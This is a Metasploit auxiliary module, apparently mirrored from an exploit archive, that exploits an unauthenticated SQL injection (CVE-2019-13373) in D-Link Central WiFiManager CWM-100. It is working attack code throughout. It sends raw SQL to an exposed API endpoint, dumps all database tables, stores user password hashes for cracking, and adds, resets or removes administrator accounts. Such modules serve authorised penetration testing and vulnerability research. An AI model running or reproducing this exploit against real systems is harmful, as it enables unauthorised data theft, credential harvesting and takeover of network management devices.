## https://sploitus.com/exploit?id=PACKETSTORM:180736
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'csv'
require 'digest'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Central WiFiManager SQL injection',
'Description' => %q{
This module exploits a SQLi vulnerability found in
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The
vulnerability is an exposed API endpoint that allows the execution
of SQL queries without authentication, using this vulnerability, it's
possible to retrieve usernames and password hashes of registered users,
device configuration, and other data, it's also possible to add users,
or edit database information.
},
'License' => MSF_LICENSE,
'Author' => [
'M3@ZionLab from DBAppSecurity',
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
],
'References' => [
['CVE', '2019-13373'],
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']
],
'Actions' => [
[ 'SQLI_DUMP', { 'Description' => 'Retrieve all the data from the database' } ],
[ 'ADD_ADMIN', { 'Description' => 'Add an administrator user' } ],
[ 'REMOVE_ADMIN', { 'Description' => 'Remove an administrator user' } ]
],
'DefaultOptions' => { 'SSL' => true },
'DefaultAction' => 'SQLI_DUMP',
'DisclosureDate' => '2019-07-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])
]
)
end
def vulnerable_request(payload)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),
'vars_post' => {
'dbAction' => 'S',
'dbSQL' => payload
}
)
end
def check
check_error = nil
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
if res
check_error = Exploit::CheckCode::Safe
else
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')
end
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error
end
end
vulnerable_test = sqli.test_vulnerable
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)
end
def dump_data(sqli)
print_good "DBMS version: #{sqli.version}"
table_names = sqli.enum_table_names
print_status 'Enumerating tables'
table_names.each do |table_name|
cols = sqli.enum_table_columns(table_name)
vprint_good "#{table_name}(#{cols.join(',')})"
# retrieve the data from the table
content = sqli.dump_table_fields(table_name, cols)
# store hashes as credentials
if table_name == 'usertable'
user_ind = cols.index('username')
pass_ind = cols.index('userpassword')
content.each do |entry|
create_credential(
{
module_fullname: fullname,
workspace_id: myworkspace_id,
username: entry[user_ind],
private_data: entry[pass_ind],
jtr_format: 'raw-md5',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
)
print_good "Saved credentials for #{entry[user_ind]}"
end
end
path = store_loot(
'dlink.http',
'application/csv',
rhost,
cols.to_csv + content.map(&:to_csv).join,
"#{table_name}.csv"
)
print_good "#{table_name} saved to #{path}"
end
end
def check_admin_username
if datastore['USERNAME'].nil?
fail_with Failure::BadConfig, 'You must specify a username when adding a user'
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'
end
end
def add_user(sqli)
check_admin_username
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"
# check if user exists, if yes, just change his password
if sqli.run_sql(user_exists_sql).to_i == 0
print_status 'User not found on the target, inserting'
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")
else
print_status 'User already exists, updating the password'
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \
"username='#{datastore['USERNAME']}'")
end
end
def remove_user(sqli)
check_admin_username
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")
end
def run
unless check == Exploit::CheckCode::Vulnerable
print_error 'Target does not seem to be vulnerable'
return
end
print_good 'Target seems vulnerable'
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200
end
end
case action.name
when 'SQLI_DUMP'
dump_data(sqli)
when 'ADD_ADMIN'
add_user(sqli)
when 'REMOVE_ADMIN'
remove_user(sqli)
else
fail_with(Failure::BadConfig, "#{action.name} not defined")
end
end
end